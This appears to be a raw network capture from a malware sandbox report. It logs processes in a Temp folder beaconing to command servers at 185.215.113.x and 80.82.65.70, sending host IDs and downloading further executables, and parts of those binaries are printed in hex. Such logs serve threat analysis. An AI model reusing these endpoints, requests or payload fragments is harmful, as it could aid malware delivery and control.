Dec 9, 2024 20:29:07.677797079 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:08.168081045 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:07 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:29:10.188411951 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:10.943988085 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:10 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49876	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:40.959673882 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013507001&unit=246122658369
Dec 9, 2024 20:28:42.307256937 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49882	185.215.113.16	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:42.430440903 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 20:28:43.784187078 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:43 GMT Content-Type: application/octet-stream Content-Length: 2771456 Last-Modified: Mon, 09 Dec 2024 19:00:58 GMT Connection: keep-alive ETag: "67573e6a-2a4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 13 29 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +)+`Ui` @ @.rsrc`2@.idata 8@clroiqwq):@jwelxfrk $@.taggant@"(*@
Dec 9, 2024 20:28:43.784216881 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.787547112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.787694931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.787705898 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.790864944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.790956974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.790966988 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.794898987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.795111895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:43.905750036 CET	1236	IN	Data Raw: 62 d5 d1 2d 6e 17 94 dc 89 37 fe 33 a9 26 c6 18 40 87 a0 04 4d f2 d9 31 c0 2c 79 09 ba 3c 0d 3f af 01 a7 ff cc 21 ba 5b 86 1b 51 15 96 2e ba 0e 4d 07 8b 03 5b 9a 95 fa 93 f7 74 80 51 15 0b f8 43 08 ae cf 88 f7 71 60 f1 24 e4 7f 51 15 0b 6a 42 0c Data Ascii: b-n73&@M1,y<?![Q.M[tQCq`$QjBa.3L$C'/PEML!c./$r\Bu\|^L2kDy>3%LMP[q'bA_hJ N-zXk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49905	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:50.885173082 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013508001&unit=246122658369
Dec 9, 2024 20:28:52.276952982 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49911	185.215.113.206	80	6052	C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:52.616267920 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:53.959747076 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:28:53.963943958 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 41 43 33 34 33 33 34 31 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="hwid"49AC343341E01671227304------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="build"stok------EGDGIIJJECFIDHJJKKFC--
Dec 9, 2024 20:28:54.409981966 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49918	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:54.024326086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:28:55.357877970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49920	34.107.221.82	80	6768	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:54.440845966 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:28:55.530560017 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 25832 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:05.531050920 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49931	34.107.221.82	80	6768	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:56.187133074 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:28:57.276823044 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 02:26:01 GMT Age: 61376 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:07.281054020 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49934	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:57.013549089 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:28:58.341054916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49941	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:00.090361118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:01.432405949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49952	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:03.068578959 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:04.404203892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49959	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:06.248541117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:07.579442978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49972	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:10.861165047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:12.193305016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49983	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:13.874502897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:15.230407000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49987	80.82.65.70	80	6964	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:14.335059881 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:15.833689928 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:15 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 9, 2024 20:29:15.833779097 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
Dec 9, 2024 20:29:15.833795071 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 9, 2024 20:29:15.833915949 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
Dec 9, 2024 20:29:15.833926916 CET	1236	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 9, 2024 20:29:15.833936930 CET	1236	IN	Data Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00 Data Ascii: o/(z{v0rpsAz}({v}(,}({:}({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{
